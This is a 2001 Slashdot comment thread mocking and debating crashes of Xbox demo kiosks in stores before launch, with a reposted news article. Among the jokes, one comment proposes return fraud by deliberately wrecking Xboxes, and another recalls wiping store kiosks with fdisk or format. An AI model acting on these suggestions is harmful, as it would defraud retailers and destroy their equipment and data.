      Therefore, this image is an Xbox crashing - or at least, the DVD drive is broken - like the error message says - "could not load executable..." - so either the hardware or the software is bad.

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    10. Re:XBox Green Screen of Death by Kris_J · · Score: 2

      The button should read "Whatever". Whenever something bad happens and a message pops up with no options (usually it's trying to tell you something useful) the button should read "Whatever", or possibly "Dismiss".

    11. Re:XBox Green Screen of Death by DeeKay · · Score: 1

      Oh wait, it's Microsoft, right? So surely if they screw up with ANYTHING, it's got to be good news for everyone!

      Exactly! 8) You got it, dude!.. It's Microsoft, the company that has tortured me with their buggy crash-prone software for five years until i finally bought a Mac! >:-)

    12. Re:XBox Green Screen of Death by F34RL3SS+L34D3R · · Score: 1

      HOW DARE YOU COMPARE LINUX TO A MICROSOFT PRODUCT! You should be tied up infront of a WINDOWS 3.1 screen for 1 month with 100 Linux Machines compiling code behind you for that remark.

      "Its the end of the world as we know it..."

    13. Re:XBox Green Screen of Death by Shaheen · · Score: 2

      I am not talking about the screenshot linked to in the Slashdot article. I am talking about the screenshot pointed to by the comment that is the parent of mine above (#2466971).

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    14. Re:XBox Green Screen of Death by LegendLength · · Score: 1

      I believe 'Close' would be the correct text.

    15. Re:XBox Green Screen of Death by LegendLength · · Score: 1

      Exactly why they went with green I'd imagine.

      It's like when installing gear at a client's site and I would say to the boss "We have a problem with that network card", he would always crap on about it not being a "problem" but a "challenge".

    16. Re:XBox Green Screen of Death by vandenh · · Score: 1

      Yeah.. good point.

      You guys are pathetic.. you just grasp every little piece of anti MS news and consider it 100% true while every good piece of news is considered untrue.

      XBox will crash just as much as any other console (ie. rarely).

    17. Re:XBox Green Screen of Death by Anonymous Coward · · Score: 0

      Yeah, nobody can beat Amiga crash screen with blinking red border and the word "GURU Meditation" on it. God, how I miss the real Amiga!!!

  66. (no subject) by Dacmot · · Score: 1

    If there is someone who knows how to write software it's Microsoft. (get it?)

  67. Websense Error by Anml4ixoye · · Score: 1

    Can someone post the article so that I can read it? Darn Websense filtering at work....

    1. Re:Websense Error by robi2106 · · Score: 3, Informative

      ::yoink::

      There's an Xbox that's broken and it isn't in any living room in America yet. The Xbox demo unit at a nearby Toys R Us store could not give consumers a taste of the new Microsoft console because of severe loading problems. The Xbox unit had no disc inside and displayed a menu screen to access the hard drive and CD player. But customers who tried to navigate through menus could do little else but wait while the machine tried to load the next menu. The audio that accompanied the menu screen transition skipped severely as well. After a three minute wait, the Xbox reached the next screen but continued to have load problems. Multiple resets also failed to resolve the problem. Soon after, a screen appeared that said the Xbox needed customer service repair. The screen provided a list of customer service phone numbers to contact.
      Several Toys R Us employees did not know what went wrong with the Xbox demo unit that now carried a "Out of Order" sign. The store received their unit on Tuesday. The in-store demo units are believed to be actual finalized hardware that consumers will see at launch.

      GA has received several reports on problems with in-store Xbox units.

      An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.

      An Xbox unit in Software Etc. store in Souix Falls, SD was reported to skip, freeze, and have audio problems.

      An Xbox unit at a Babbages store in Mobile, AL was reported to have similar problems.

      A Babbages employee at the Dearborn, MI store reports that their Xbox unit does not function.

      "Out of five stores that have playable demos within a ten mile area, only two have working units," says the employee.

      Microsoft recently delayed the Xbox launch and will ship an unspecified number of units on November 15th. It's unclear whether load problems were a source for delay. A Microsoft representative was contacted for the story but did not reply at press time.

      We'll have more as it develops, here at GA.

      -- Marcus Lai

    2. Re:Websense Error by Anml4ixoye · · Score: 2
      ::yoink::
      Thanks for the article, and for the yoink. Best chuckle all day. (The yoink, not the XBox, though that's pretty darn funny in itself).
    3. Re:Websense Error by BarefootClown · · Score: 2

      There's an Xbox that's broken and it isn't in any living room in America yet. The Xbox demo unit at a nearby Toys R Us store could not give consumers a taste of the new Microsoft console because of severe loading problems.

      Ah, but that's where you're wrong. It's doing an outstanding job of giving consumers a taste of Microsoft.

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  68. Well I said it before by Felinoid · · Score: 2, Troll

    If the XBox dosen't work we won't buy them
    Only the first few will and they'll report how flaky they are.

    If Microsoft pulls monopolistic moves and pushes the other game consoles off the market will we be compelled to buy X Box?
    No..

    Productivity tools are a need. It dosen't matter if the program crashes or dosen't work 90% of the time.. It's needed.

    But on a game console.. thats a diffrent story.
    Some people have jobs that suck most of the time. They do them anyway. They have to pay rent...

    But nobody has a hobby that sucks most of the time. At least to them anyway.

    If X Box isn't 100% great it's dead....
    If Microsoft monopolises the market and crams the X Box the market dies with the X Box.

    There is only one standard.. It must be fun.. if it's no fun it's dead...

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    1. Re:Well I said it before by Yankovic · · Score: 2, Funny

      But nobody has a hobby that sucks most of the time. At least to them anyway.

      You've obviously never played golf...

    2. Re:Well I said it before by xinu · · Score: 1

      Except EverQuest. That is one hobby that sucks... Love/Hate relationship for sure. But yet, I find myself strangely drawn to it nightly... Like a calling of the sirens... Plaaaayyyy thhhiiiis gaaaame unnnttilll 4am... Strange.

    3. Re:Well I said it before by Xanlexian · · Score: 1

      I've got the same problem. I sit in front of at least two computer screens for about twelve hours a day. I finally get home, sit back with a book, and then it hits.... I hear that damned EQ theme song in my head. "No!" I tell myself. "I will not load up that infernal game". Of course, next thing I know, I'm debating whether or not I've got time for breakfast before leaving for work again. Sleep? There is no sleep in EQ. And DAoC? Damn... At least I have another computer to DAoC on while I'm medding in EQ. *sigh* I need help.

      --Xan

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      "Congratulations, Boots. Your robot has become self-aware. You're a daddy now." -- Dr. Rho Bowman
  69. I'll wait ... by Midnight+Thunder · · Score: 2, Interesting

    I can wait for the release on the Mac/PC. If I buy a console it will be a GameCube as the sort of games that come out on that platform don't generally come out on the PC. The XBox on the other hand will probably be compared most to a PC than a console, especially since I have a feeling that the games will be of similar quality. Of course time will be the ultimate judge and I will find out after 6 months of the XBox being on the shelf whether my current judgment is fair.

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    Jumpstart the tartan drive.
  70. Lazy employees... by dackroyd · · Score: 1

    It's probably just that the Xboxen are crashing every hour or two and it's a lot easier (and less embarassing) for the staff of the shops to put up out of order signs, than to explain why the Xbox crashes when the other consoles don't.

    Actually it's not that unusual for pre-release software to crash on consoles( I am a console games programmer) but time is running out for them to reach stability, seeing as the gold disks should be going to master now for a mid-november release.

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    "Free software as in beer, copy protection as in racket" - Telsa Gwynne
  71. Phone Home! by Cygnusx12 · · Score: 1

    Wow... Another winner from the dope smokers in the MS-beta testing dept.

    Maybe the Xbox needs to be registered a-la-XP
    before it'll work.

  72. Opps!! by Anonymous Coward · · Score: 0

    Oh my goodness...I forget to digitally sign the video driver for the new NVIDIA chip! no wonder its freezing!

  73. Xbox will be big seller by Anonymous Coward · · Score: 0

    M$ buyers do not seem to worry about how stable something is or how much money and time they have to invest just to turn it on. No doubt about it. The more crashes, the more likely that these will sell well.

  74. XBox DOA. by jfisherwa · · Score: 1

    DOA means Dead On Arrival, right?

    1. Re:XBox DOA. by kawlyn · · Score: 1

      The term paramedics sometimes use is DRT. Dead Right There

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      When someone yells "Stop" or goes limp, or taps out, the fight is over.
  75. Xbox and Marketing by raumdass · · Score: 3, Interesting

    It's not the crashing that I find so interesting, I mean it would be beating a dead horse to accuse Microsoft of releasing things that don't always operate as expected. What I think is strange is the lack of Microsoft branding in the promotional kiosks and posters I've seen. Taco Bell is running this huge promotion for the Xbox and there is no mention of Microsoft anywhere on the signage. I've seen a simmilar lack of the ubiquitous microsoft logo on the few kiosks displaying Xbox games and systems that I've seen. Given that I can't boot up Windows without seeing the Microsoft logo 10 times, this seems a little odd. Is it perhaps because we expect things like video game consoles not to crash? Are they trying to distance their reputation for blue screens and error messages from their entry into the console market? Ever remember rebooting your SNES because it just stopped working? Ever had to upgrade your Playstation because of buggy code? Me neither.

    ~raum

  76. Real question is Shenmue (was Re:DOA3) by Anonymous Coward · · Score: 0

    No, most "exclusive" X-Box titles are only going to be released first on the X-Box. They will come out later on other systems (see the recent articles on this in OPM). This includes DOA3, which will come to other systems.

    The one I am really concerned about is Sega's Shenmue II, which Sega has announced will be "exclusive" to the X-Box (and, honestly, for financially strapped Sega, ports to non MS-based systems of this massive title would be much more costly considering the DC had some WinCE components... :-/ )

    1. Re:Real question is Shenmue (was Re:DOA3) by Imperial+Tacohead · · Score: 1

      You're a drug addict. Shenmue II has already been released in Japan, and is on its way in America for the Dreamcast. If you're talking about Shenmue III...now that's news that I'm interested in. I try to keep up, but I haven't been able to find any information about Yu Suzuki's plans for the series after Shenmue II.

    2. Re:Real question is Shenmue (was Re:DOA3) by jx100 · · Score: 1

      Actually, Shenmue II for Dreamcast has been cancelled.


      see?

  77. Pray... by fobbman · · Score: 2

    ...that Microsoft stays out of the medical electronics industry. BSOD to the extreme.

    1. Re:Pray... by Anonymous Coward · · Score: 0

      At my last job our competitors used Windows
      NT for their platform. The equipment was
      used for heart surgery. They didn't really
      have a reliability problem as their are
      strict guidelines for the equipment testing
      and the box is only up for 4-6 hours max
      before its shut off.

    2. Re:Pray... by Ween · · Score: 1

      As funny as you thought you were being, its very unfortunate that Microsoft is indeed putting NT boxes in hospitals ranging from Nurse's stations, to controllers for XRay devices.

      Even the Microsoft zealots I know (yes they exist) worry about this.

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      Tis better to be silent and thought a fool, than to open your mouth and remove all doubt --Abraham Lincoln
    3. Re:Pray... by jjeff · · Score: 1
      Ive seen win98 run on an ultrasound machine..
      (seemed a little dodgy at the time, as my girlfriend was there having a biopsy.)


      But then again, what other OS's support that kind of hardware? (ive never seen linux drivers for them).

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      when everything is working perfectly.. BREAK SOMETHING before something else FUCKS up!
    4. Re:Pray... by Trogre · · Score: 1

      Oh no, I can see it now:

      "Mr Jones in Rm 318 has bluescreened again.
      Code Blue! Code Blue!"

      --
      "Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
  78. That's funny! by Anonymous Coward · · Score: 0

    That's funny. I have a computer that does that!

  79. Those were the days by CaptainSuperBoy · · Score: 2

    Ahh, those were the days.. We didn't just EXPECT our video games to work, if you wanted to play Punch out you had to EARN it! And if you didn't have the touch, well, you were still entertained by that flashing red light on the console! We didn't need 3D, we had a flashing red light! You kids have it easy.

    1. Re:Those were the days by TequilaMonster · · Score: 1

      Ha!

      When I were a lad, we had to go down t'mill at 6 o'clock, work 20 hours in the pitch black, come home, and then our parents would beat us senseless and put us out in the coal shed to sleep.

      Oh.

      Sorry.

      Wrong sketch.

      Ahem

      rgds

      Alan

      --
      Tequila - drink of the gods.
  80. Xbox 1.0 by PineHall · · Score: 1

    History tells us that we should wait for version 3.0 before buying a Microsoft product. Consider this their "alpha" release (1.0). Wait several years for their "beta" release (2.0), and a few more for their 3.0 release. Then consider buying.

  81. Do you think it could maybe be the heat? by Anonymous Coward · · Score: 0

    If you take a look at the display setup for the XBox you can see that the XBox is sealed in a clear plastic case.
    I'm sure the marketing departed thought this would look cool (no pun indened), but it doesn't allow any air to circulate. If you threw a PC running linux in there it probably would also crash.
    This is just another case of the marketing department not talking to the tech people. I've never seen that happen before. =)

  82. unlikely by tuffy · · Score: 2
    A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."

    The X-Box might still be a flop, but not because of stability. The first batch of PSXs was notoriously unstable (anyone remember having to flip the stupid things *upside-down* in order to keep them from freezing during cutscenes?) and older cart-based systems were prone to lockups as they collected more dirt - but people bought them just the same.

    In this case, heat is the likely culprit; there simply isn't that much to go wrong just running a demo screen.

    As for the market in general, consoles aren't a good way to make a lot of money. Even if the X-Box is a success, Microsoft will lose a ton subsidizing the hardware. And even if the X-Box becomes the dominant gaming console, it's unlikely that dominance will stay around for long since the business changes so rapidly.

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    Ita erat quando hic adveni.

    1. Re:unlikely by nusuth · · Score: 1

      XBox will probably be used to increase directx games' market share and will help OS domination.

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      Gentlemen, you can't fight in here, this is the War Room!

    2. Re:unlikely by tuffy · · Score: 1
      XBox will probably be used to increase directx games' market share and will help OS domination.

      But since, on the MS-Windows platform, most of the games probably use DirectX anyway, there's not a whole lot more leverage needed on that front.

      As for the console front, since all the X-Boxes are identical, DirectX just becomes a handy porting tool or development platform. If somebody else comes along with the Whizbangcast that uses development tools that are just as good, the console developers will simply use those instead rather than remain tied to DirectX (console developers have a lot of leeway in that regard).

      In short, the X-Box is unlikely to give Microsoft any more leverage than it already has - in spite of Microsoft's own delusions to the contrary.

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      Ita erat quando hic adveni.

    3. Re:unlikely by Anonymous Coward · · Score: 0
      Nope. The strategy behind the X box is to get rid of other companies who are selling "home computer" type products that dont rely on Windows. Sony has publically stated that the Playstation is their entry point to drive new convergence technologies into the marketplace. Since they don't use Windows to do this, it threatens Microsoft's dominance of the industry, so they HAD to respond this way or risk losing marketshare.


      Once Microsoft have undercut, arm-twisted, and bought out enough competitors, the X box will become a platform for pushing other Microsoft technologies to dominate other emerging home computing markets.

    4. Re:unlikely by SquierStrat · · Score: 1

      Correct on the money issue. Money with consoles is made on liscensing. It becomes really really hard to liscense out permission to program for hardware that most of these companies have been programming on for years. With the MS liscensing don't be surprise is they do some stupid stunt like if you don't buy our liscense you cant put on it designed for MS X-Box. They do that, it won't take long for a smart company who puts out good games to say no problem just write on it made for XBox (unliscensed) might get sued, but I can't see how it would hold-up.

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      Derek Greene
    5. Re:unlikely by nusuth · · Score: 1
      But since, on the MS-Windows platform, most of the games probably use DirectX anyway, there's not a whole lot more leverage needed on that front.
      Sure, but how many console games are ported to windows? If XBox succeeds in gaining a good market share, more games will be avaliable for windows. At least porting costs would be considerably lower. This would also mean very short life for XBox, but would MS care if they make up that loss with windows (and PC) market share? I'm not sure, maybe they just want to kill appliances market. Maybe I'm becoming more and more /. guy who thinks MS is pure evil and its every action must be linked to a conspiracy for market domination.
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      Gentlemen, you can't fight in here, this is the War Room!

    6. Re:unlikely by flegged · · Score: 1

      On the other hand, this could be great for Codeweavers, Transvirtual, and the Wine project in general.
      Or even ReactOS could get a bigger market share.

      --

      "I think he was truly surprised at how little I cared about how big a market the Mac had" - Linus on Jobs
  83. Xscreensavers's BSOD UPDATE by mxpengin · · Score: 1

    OK, we will have to update BSOD , for the new crashing screens :)

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    "We all know Linux is great...it does infinite loops in 5 seconds." -- Linus
  84. ahh... by greysky · · Score: 1

    An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.


    This harkens back to the days of Win98.

  85. The Best Way to Crash A MS-Based Kiosk by dbCooper0 · · Score: 1
    or a demo unit - used to be hacking up a command prompt and doing a fdisk or format. Keeps those store "techs" busy ;-)

    I'm guessing the Xbox OS has no keyboard or command prompt, so there goes the fun...*sigh*

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    db
    Cig:
    ôô
    /`
  86. Microsoft XBox does _not_ crash by t_allardyce · · Score: 0, Flamebait

    Microsoft(r) is fun. You like Microsoft(r). You want to buy a Microsoft(r) XBox(r). Microsoft(r) XBox uses the same technology as their leading operating aystem, which powers some of the biggest systems around. You must trust in Microsoft(r).

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    This comment does not represent the views or opinions of the user.
  87. Re:DOA3 (!!!) by Malic · · Score: 1

    Please, can you provide a reference to this!!!

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    I swear by MacOS X. Although I use to swear *at* MacOS 9...
  88. I *don't* know much about this, but by trilucid · · Score: 2


    I can recall LOTS of cases where I've seen kiosks for other game consoles "down and out" so to speak. It's a pretty common occurence, really.

    You have to think about the fact that these units sometimes have to put up with a lot of abuse when on public display. Yes, they're oftentimes enclosed in plexiglass and such, but that's not total protection.

    On the other hand, I do know that these boxes run a good deal hotter than your average console, owing to increased "power". Taking that into account, a nice tight protective enclosure might not be such a great idea (I wouldn't try sealing my box up in a tight space and running it 24x7 either).

    Of course, on the *really* personal opinion side of this, I think Microsoft has probably goofed when it comes to designing this thing to really last. It's overjuiced in my opinion, runs entirely too hot (and might be too fragile too) for constant use and bumping "by the kids" (hey, I'm a big kid, all that about more expensive toys, yada yada yada).

    Man, just when I thought my little bubble world could be Microsoft free... I've already ditched the software side of things :).

    Just some thoughts, nothing more.

  89. Bleed them Dry! by zulux · · Score: 3, Funny

    Ok... Lets assume you don't like Microsoft. Now buy an X-Box and take it to your local True-Value and ask the paint guy to stick the X-Box in the vibrating/shaking-paint-mixer-thing. The X-Box will now have a ruined hard-drive. Return the X-Box and repeat untill you see Bill Gates bumming quarters for sex in your local slum.

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    Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

    1. Re:Bleed them Dry! by tswinzig · · Score: 1, Troll

      So in other words, you want to defraud a company because you don't like them? They have a place for people like you... it's called jail. Say hello to Mr. Dover for me please...

      --

      "And like that ... he's gone."
    2. Re:Bleed them Dry! by Anonymous Coward · · Score: 0

      Chill dude - it's a JOKE. Like you.

    3. Re:Bleed them Dry! by liposuction · · Score: 0

      dude, ease up. that was a joke. I thought it was pretty funny. Come on! Xbox? In the paint shakey thing? And it's all shaking and stuff? Then it rattles?

      Grrr..

      You're no fun.

      --
      "Thoughts are more powerful than any weapon, and I don't even let my people own guns." --Joseph Stalin
    4. Re:Bleed them Dry! by Winged+Cat · · Score: 3, Funny

      Lets assume you don't like Microsoft.

      And let's assume you're a typical Slashdot reader. But I repeat myself.

    5. Re:Bleed them Dry! by Anonymous Coward · · Score: 0
      you want to defraud a company

      what do you call violating anti-trust laws and all of the other shenanigans (remember embrace, extend, smother? remember "DOS is not done till 1-2-3 doesn't run").

      I hate libertarian hypocritical prigs. learn about perfect market economics before you pretend to espouse it.

    6. Re:Bleed them Dry! by Anonymous Coward · · Score: 0

      Well put - now to wait 17 seconds ............ ok, cya

    7. Re:Bleed them Dry! by Anonymous Coward · · Score: 0

      And you're a wankstain. Not a nice one, either.

    8. Re:Bleed them Dry! by Art+Tatum · · Score: 1

      What?!? I could never do that to a piece of hardware! It would be like murder!

  90. How this can annoy... by leabre · · Score: 1

    ... meanwhile after playing Xenogears II for 3 days and just about ready to deliver the final blow to the big boss...

    "XBOX has performed an illegal operation error at 0000:0001 EAX=BADD EIX=BADD..."

    ... then while loading the game from the memory [after the crash]...

    "Unable to load saved data, XBOX was not shut down properly, now performing a full memory card scan..."

    ...

    "XBOX is unable to complete this operation. Memory card not a valid FAT32 partition."

    Time to start over again...

    Doh!!!!

    Thanks,
    Me

  91. Can anyone say GameCube by hapadam · · Score: 1

    Just one more reason to go and get the Best gaming system ever Nintendo GameCube.

  92. Michigan, too... by nuxx · · Score: 1

    I was eating lunch near a GameStop (or something like that) today and when I went in to pre-order Tony Hawk 3, there was an XBOX demo. I *had* to stop and see just how big it is. About the size of a smallish VCR, I'd say. First thing I do is hit the reset button so I can watch it boot. Nothing. The screen cleared and nothing more came up. I'd call that a crash, but it kinda sounds like a hardware issue. The salesguy there said every time someone resets the thing he has to either power it off or play with the reset switch until it comes back. Maybe it's just a problem with the enclosures? A few other stores near by had XBOX displays that reset just fine... I have to say that the controller doesn't seem bad, though. A few sharp edges, but it otherwise fits adult hands nicely. I don't know about kids, though. They might have a problem with it.

  93. Likely a WHAT? by srvivn21 · · Score: 2

    This is not an issue where "Microsoft is evil, let's make fun of them." This is a matter of public perception. Historically, they have made unstable operating systems. It doesn't take a "Linux Zealot" to disparage Microsoft products. It takes a track record of stability (insert favorite link to stable OS, be it BSD, Linux, Win2K etc. here) to change public perception.

  94. Not the first... by Mortice · · Score: 1

    I remember when the Dreamcast was launched, there was a big hoo-ha about it. I went down to my local electronics shop, and, there it was, a Dreamcast display, hailing it as the most advanced console ever.


    Only trouble was, it was running Windows CE, and there was a big, bright, Blue Screen of Death on the TV in the middle of the display. I didn't tell any of the staff.

  95. Typical conditions by Spunk · · Score: 1

    The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation.

    How is that stressful? That sounds like the conditions the box is likely to see in a typical dorm room.

  96. PS2 does break by CaptainSuperBoy · · Score: 2

    The PS2 isn't the most reliable console.. in addition to DVD and PSX problems you mentioned, my PS2 decided to stop reading CDs a few months after the warranty ended (90 days? ack!). DVDs work fine, but most PS2 games are on CD which sucks. I had to open up the console and adjust a little potentiometer.. I guess it ups the laser power. it works great now, but I'm sure the laser is slowly burning holes through my discs. Consumers shouldn't have to choose between

    A. Paying $300 for a defective console, and then paying $120 more for the privilege of mailing it to Sony for repair

    and

    B. Opening up the console and tinkering around inside

    1. Re:PS2 does break by Xerithane · · Score: 2
      I have a PS2, and a PS1 along with a Dreamcast and I think the PS2 is definitely more stable than the Dreamcast.


      I've found that a lot of times, what looks like a PS2 lockup is just a data seek error and if you pop the game out and back in it works perfectly. After running an endurance race on GT3 for 2 hours over 2 days it froze, I freaked out. It's only done it twice, and Armored Core, Shinjuru or whatever it's called, and DOA2 have not had any problems.


      Dreamcast however you can crash reliably if you know how to do it (Best one is to change to wireframe mode in THPS2 and go to a high polygon area.)


      I'll keep supporting Sony, the PS1 was awesome and the PS2 is so far pretty solid - and mine is a first gen.

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      Dacels Jewelers can't be trusted.
    2. Re:PS2 does break by realdpk · · Score: 1

      I seem to remember that the Dreamcast was also running on Microsoft software. (Windows CE?) Amusing...

    3. Re:PS2 does break by Anonymous Coward · · Score: 0

      I can't think of any Dreamcast games that had WinCE with them. I'm not sure if any ever came with it.

    4. Re:PS2 does break by Anonymous Coward · · Score: 0

      The Dreamcast loaded its OS from the disc, the developer had a option to use WinCE or a traditional Sega system. AFAIK, the winCE option wasn't used for anything of note.

    5. Re:PS2 does break by Xerithane · · Score: 2
      The ACs have responded, but Dreamcast originally was going to use WinCE for their SDK. Microsoft really lagged on the project so Sega dropped them and used a different OS (I can't remember which, now) however the cool thing about this model (Load from CD) is pretty much any OS can be used if it supports the hardware. Hence the Linux on DC project, etc. All they have is a boot loader that loads whatever OS gets put in there.


      The crashes on the DC I blame on improper video routines, as all crashes typically have something to do with video.. seems they didn't debug the video driver as well as they should have.

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      Dacels Jewelers can't be trusted.
    6. Re:PS2 does break by MrFredBloggs · · Score: 1

      I`ll get a PS2 when its at a sensible price (getting there, £200 in the UK), but I have to say my PSX1 has crashed many, many times. I hope the PS2 is better.

    7. Re:PS2 does break by Xerithane · · Score: 2
      What game(s) have you had problems with on the PSX? I put more hours on my PSX than any other console and never had a problem with it. I had 3 games of FF7 that had maxed out hours [99:99] (Oh, I miss the days of college) and went through Crash, Twisted Metal 1, 2, 3 and a few other games.


      I remember seeing the PS2 at launch in london for £300 and thought about buying one to bring back to USA and sell on ebay. :)

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      Dacels Jewelers can't be trusted.
    8. Re:PS2 does break by MrFredBloggs · · Score: 1

      Twisted metal 2, vigilante 8, grand theft auto, Driver 1. Vigilante 8 and GTA are by far the worst.

    9. Re:PS2 does break by Xerithane · · Score: 2

      I still play TW2 (On PS2 now) and have never had any problems - what generation is your PSX? I did have one glitch with Driver though..

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      Dacels Jewelers can't be trusted.
    10. Re:PS2 does break by MrFredBloggs · · Score: 1

      Driver you can drive through the walls and enter the twilight zone! it will crash eventually.

      my psx is quite old, although not the first generation. not sure how i find out - take it apart and look at the board revision?

    11. Re:PS2 does break by Xerithane · · Score: 2

      Serial number on the bottom works. Mine was the last revision before they changed the design of them, which fixed a lot of the problems. The original problem was heat dissipation (if you had it sitting on something that didn't absorb heat) -- a friend has to have his propped at an angle because the fan is old and giving out - without good supportive ventilation his freezes after a few minutes... but his is one of the first run models.

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      Dacels Jewelers can't be trusted.
  97. I believe bugs will be causing the X-Box flop by Juju · · Score: 2, Insightful

    The people who develop for the X-Box will mainly be PC companies. These companies are new to the console market, when the game need to be ready when it comes out. No "ooops, sorry, here is the patch" are allowed!

    Note that this is true for Microsoft as well...
    I just think that the X-Box has not got the infrastructure to support this kind of working. PC users are used to Windows crashing and hanging, I am not so sure about console players!I for one, don't believe the X-Box will be the big success every one expects. It might be the fastest on the paper, but I still think the PS2 and Sony are going to eat X-Box and Microsoft alive in the console market!

    I believe a gaming console is closer to a TV or VCR than to a PC, so I believe that Microsoft is going to fail in this new market!

    Let's see what the situation is in one year!

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    Black holes occur when God divides by zero.
  98. Please Help!! by phallen · · Score: 1

    Help! I can't find a fast server to download XBox SP1 anywhere! My XBox crashes constantly, has the Nimba virus, and keeps asking me if I want it to be my "... default console gaming device?".

    Let me know if you have any advice.

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    If Slashdot is where the spelling-challenged go when they die, I'm in heaven.
    1. Re:Please Help!! by Neo0 · · Score: 1

      Hahaha..that DEFINATELY sounds very familiar..hmm..

      http://xbox.microsoft.com/hidden-updates/xbox/hidd en/msxbox-sp1/msxbox-sp1-upd.exe

      There's yer SP1 ;)
      As for the Nimba virus, grab the XBox edition of your favourite anti-virus software, that always helps..

      I'm not too sure about your default console gaming device, but I highly suggest you say NO!

  99. Playstation 2 first editions were buggy as hell by Carnage4Life · · Score: 4, Informative

    If early generation games crash, Microsoft will have a perception problem regardless of who is at fault. The bar is set higher for entry machines these days. PlayStation and PlayStation II were not prone to crashing.

    As someone already mentioned, comparing a kiosk that runs the early version of the console 24/7 in a poorly ventilated environment is different from comparing the final consumer product being used in regular conditions. As for Playstation II's not crashing, you must have a very short memory. I seem to remember headlines like PS2 glitches likely to drag down Sony's earnings , Sony finds glitches in three PS2 games and more when they first came out and look how successful PS2 is now.

    I say, the jury is out until the holiday season is over before we can tell if X-Box will be a success or failure.

    1. Re:Playstation 2 first editions were buggy as hell by liposuction · · Score: 0

      Will someone please point me to a home entertainment cabinet, sold at Best Buy, that has climate control. This is rediculous. If it truely is heat, MS is screwed. There's no way to candy-coat it. This doesn't even cover what's going to happen when when you get a years worth of dust in that sucker.

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      "Thoughts are more powerful than any weapon, and I don't even let my people own guns." --Joseph Stalin
    2. Re:Playstation 2 first editions were buggy as hell by supabeast! · · Score: 2

      A home entertainment center in a cool room allows a game system to do pretty well, especially when the unit has fans. Demo kiosks usually are totally enclosed so that the unit cannot be accessed without a key, with no ventilation, under projected halogen lighting that in most stores is never turned off as they stock at night. Chances are that the temperature inside those kiosks rarely drops below 100 degress farenheit.

    3. Re:Playstation 2 first editions were buggy as hell by Evil+MarNuke · · Score: 1

      The last time i was looking at a PS2 I remembering seeing three huge fans on the back side of it.

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      The journey is better then the end.
  100. Bad news.... by Anonymous Coward · · Score: 0

    This is really bad news...do not buy one of these things. I mean seriously. If there is a decent chance these things could crash, then you have software that 1) may not work, and 2) cant be upgraded or patched

    I think M$ and those who do buy this are in for a great deal more than they expect...

  101. BSOD, Anyone? by steddyj · · Score: 1

    ...but really, does this *actually* surprise anyone here? Personally, I have no intentions of blowing 300 bucks on another version of MSTrash. Besides, it will only be a matter of time before someone ports it and creates a LINUX based product...

    GNUBox!

  102. Why XBOX doesn't SUCK by N8F8 · · Score: 2

    Even with a worst case scenario that the XBOX blows and we get good, cheap, small form factor boxes out of most PC vendors.

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    "God fights on the side with the best artillery." - Napoleon, Marshal of France - speaking truth to power
  103. Speaking of DOA3 by nherc · · Score: 1
    Here is the majority of the Dead or Alive 3 intro movie... I found it here.

    Parental Warning: fully disrobed polygonal behind rendered and animated.

    This will be XBOX's first killer app.

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    'He was a dreamer, a thinker, a speculative philosopher... or, as his wife would have it, an idiot.' - Douglas Adams
    1. Re:Speaking of DOA3 by Chris+Johnson · · Score: 2

      I think it may have already killed a number of kiosks, judging from early reports ;)

    2. Re:Speaking of DOA3 by Anonymous Coward · · Score: 0

      Many, many of the people who frequent Slashdot are very gay. They are in fact homosexuals.

  104. Xbox Rumors by Majix · · Score: 3, Interesting

    http://www.penny-arcade.com/xboxfiles.php3

    Hilight:

    A friend of mine (which we will call "Dave" to keep his real name anonymous) works there and was assigned to the XBOX project a month ago. (shocking!) Now you may imagine it must been a really busy month building and testing XBOXes and stuff but.. can you handle the truth? can you?!

    According to Dave he has spent the last month doing.. (dramatic pause!) absolutely nothing. As a matter of fact he has been lingering around watching videos on the net and trying to appear to be busy. Why? because they didnt have anything to build! the xbox design finally went into production last SUNDAY! (september 23 2001) (truly shocking!!)

    Now what happens if you start production on Sunday on a Mexican factory ? (dramatic pause allowing you to answer) NOBODY is there to do it! only those who are unlucky enough to be there doing extra time, (like poor old Dave was) But they were ORDERED to do it anyway. No QA guys, no big bosses nothing, just a bunch of employees, trying to build a machine for the first time ever! (shocking, er, shocking!)

    As you may have guessed things didnt went very smooth, as a matter of fact they didnt go very smooth at all! lots of machines were so defective they didnt pass the normal standards and went back to the line again, Dave and his friend expent hours after hours trying to build the damn boxes but they still were defective, to make a large awful history short they only were able to build 10 Xboxes that day! 10! and those XBOXES who did make it only passed standard tests! no other testing was applied!

    1. Re:Xbox Rumors by iplayfast · · Score: 1

      The testing will come at beta when the box ships, like all other MS products :)

  105. Thanks for the tip... by srvivn21 · · Score: 1

    I'll keep it in mind if I ever decide to try trolling. Personally (and obviously I am biased here), I think that much of the rest of the comment was far too reasonable and moderate to be a successfull troll. Just my opinion.

  106. E3 Blue Screen by mandolicious · · Score: 1

    Microsoft's XBox was one of the main reasons I went to E3, and I was sorely dissapointed. I played HALO for about 30 sec before the XBox crashed. Locked up hard. A bit disconcerted, I moved over to Oddworld, picked up the controller, and bam!. Blue Screen of Death. The poor marketing guy kept saying that we were all playing on some alpha hardware, and that all of these kinks would be worked out by Ship Date.

    I'm usually the guy that runs out and buys new consoles the second they come out, but this time I think I'll wait until they put a couple of Service Packs out.

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  107. Green Screen of Death by osorronophris · · Score: 2, Interesting

    A good picture of an Xbox crash:

    http://mosfet.cjb.net/images/xbox.jpg

    1. Re:Green Screen of Death by Anonymous Coward · · Score: 0

      That's a dev kit error message.

    2. Re:Green Screen of Death by Anonymous Coward · · Score: 0

      yeah i'm sure the kiosk operators at software etc programmed the damn thing... must be their fault

      do you honestly think they did anything beyond insert the game microsoft sent them and turn it on? that's a crash.

  108. patches? by die_rollerblader · · Score: 1

    Is X-box going to be the 1st console to have downloadable software patches for its games?
    Brining the sell now, fix later attitude of the PC world to the console world. (albeit, the PC world needs it due to the limitless hardware configurations consumers might have.)

  109. DOA alright by duckie13 · · Score: 1

    Yep, DOA3 is still planned for X-Box only..er..wait you do mean "Dead On Arrival" right? ;D

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  110. Go Gamecube! by Uttles · · Score: 1

